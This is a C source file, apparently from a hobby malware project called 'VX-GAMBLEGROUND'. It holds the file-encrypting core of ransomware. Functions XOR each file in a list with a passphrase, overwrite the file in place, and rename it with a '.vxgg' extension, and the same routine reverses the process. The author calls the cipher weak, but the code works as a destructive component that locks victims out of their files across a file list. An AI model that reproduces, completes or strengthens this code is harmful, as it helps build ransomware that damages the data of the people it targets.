/*** * ENCRYPTION * * Makes files unreadable, kinda. */ #define _GNU_SOURCE #define TESTING #include "encryption.h" #include "ll.h" #include "VX-GAMBLEGROUND.h" #include #include #include #include #include #include #include #include #include #include #include #include // Encrypt a file (OVERWRITES FILE!) using a passphrase size_t passenc(int fd, const char *passphrase) { struct stat sb; void *filebuf = NULL; ssize_t cur_len = 0; ssize_t bytesread = 0; int esave; // Set up file buffer if(fstat(fd, &sb) < 0) { error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd); return -1; } filebuf = calloc(sb.st_size, 1); if(filebuf == NULL) { error(0, errno, "[passenc] Could not allocate buffer for reading file"); return -1; } while((bytesread = read(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) { esave = errno; cur_len += bytesread; if(cur_len > sb.st_size) { error(0, ERANGE, "[passenc] Reading overran the proper file size somehow"); free(filebuf); return -1; } } if(bytesread < 0) { error(0, esave, "[passenc] Ran into a read error"); free(filebuf); return -1; } // Do the "encryption" size_t phraselen = strlen(passphrase); for(off_t i = 0; i < sb.st_size; i++) { ((uint8_t*)filebuf)[i] ^= passphrase[i % phraselen]; } // Write "encrypted" data to file if(lseek(fd, 0, SEEK_SET) < 0) { error(0, errno, "[passenc] Could not seek to beginning of file"); free(filebuf); return -1; } bytesread = 0; cur_len = 0; while((bytesread = write(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) { esave = errno; cur_len += bytesread; if(cur_len > sb.st_size) { error(0, ERANGE, "[passenc] writing overran the proper file size somehow"); free(filebuf); return -1; } } if(bytesread < 0) { error(0, esave, "[passenc] Ran into a write error"); free(filebuf); return -1; } free(filebuf); return cur_len; } // Encrypt a file one block at a time (Overwrites file) size_t passencblock(int fd, const char *passphrase) { struct stat sb; void *filebuf = NULL; ssize_t cur_len = 0, totalwritten = 0; ssize_t bytesread = 0, usebytes = 0; int esave; off_t offset = 0; // Set up file buffer if(fstat(fd, &sb) < 0) { error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd); return -1; } filebuf = calloc(sb.st_blksize, 1); if(filebuf == NULL) { error(0, errno, "[passenc] Could not allocate buffer for reading file"); return -1; } // Read 1 block // Do the encryption // Overwrite the block with the encryption // Repeat until EOF while(offset < sb.st_size) { // Read a block bytesread = 0; cur_len = 0; while((bytesread = read(fd, ((char*)filebuf) + cur_len, sb.st_blksize - cur_len)) > 0) { esave = errno; cur_len += bytesread; if(cur_len > sb.st_blksize) { error(0, ERANGE, "[passenc] Read too many bytes somehow"); free(filebuf); return -1; } } if(bytesread < 0) { error(0, esave, "[passenc] Ran into a read error"); free(filebuf); return -1; } usebytes = cur_len; // Do the encryption size_t phraselen = strlen(passphrase); for(off_t i = 0; i < usebytes; i++) { ((char*)filebuf)[i] ^= passphrase[i % phraselen]; } // Seek to the right spot if(lseek(fd, offset, SEEK_SET) < 0) { error(0, errno, "[passenc] Could not seek to proper offset"); free(filebuf); return -1; } offset += sb.st_blksize; // Write to the file bytesread = 0; cur_len = 0; while((bytesread = write(fd, ((char*)filebuf) + cur_len, usebytes - cur_len)) > 0) { esave = errno; cur_len += bytesread; if(cur_len > sb.st_blksize) { error(0, ERANGE, "[passenc] writing overran the block size somehow"); free(filebuf); return -1; } } if(bytesread < 0) { error(0, esave, "[passenc] Ran into a write error"); free(filebuf); return -1; } totalwritten += cur_len; } free(filebuf); return totalwritten; } int rename_format(const char *fullpath, const char *format, ...) { va_list ap; va_start(ap, format); char *newname = NULL; int err = 0; if((err = vasprintf(&newname, format, ap)) < 0) { error(0, 0, " Could not create string for new file"); return err; } if((err = rename(fullpath, newname)) < 0) { error(0, errno, " Could not rename file \"%s\" to \"%s\"", fullpath, newname); return err; } free(newname); va_end(ap); return err; } int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int flag) { int fd = -1; regex_t encext; regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE); for(const struct nodelist *p = list; p != NULL; p = p->next) { if(p->fullpath == NULL) continue; if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH && flag == VXGG_ENCRYPT) // Don't encrypt already encrypted files continue; if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH && flag == VXGG_DECRYPT) // Skip non-matching files continue; fd = open(p->fullpath, O_RDWR); if(fd < 0) { #ifdef TESTING error(0, 0, " Couldn't open \"%s\" for %s", p->fullpath, (flag == VXGG_ENCRYPT) ? "encryption" : "decryption"); #endif continue; } passencblock(fd, passphrase); close(fd); if(flag == VXGG_ENCRYPT) { #ifndef TESTING rename_format(p->fullpath, "%s.vxgg", p->fullpath); #else rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase); #endif } if(flag == VXGG_DECRYPT) { char *newname = NULL; #ifndef TESTING asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg")); #else asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg") - PHRASESIZE - 1); #endif rename_format(p->fullpath, newname, p->fullpath); free(newname); } } /* The beauty of my shitty encryption function is that it's reversible by just running it again with the // same password. Most of this function is just picking the right files to operate on and deciding how to // rename them */ return 0; } /* int main() { int fd = open("test.txt", O_RDWR); passencblock(fd, "we do a little trolling"); return 0; } */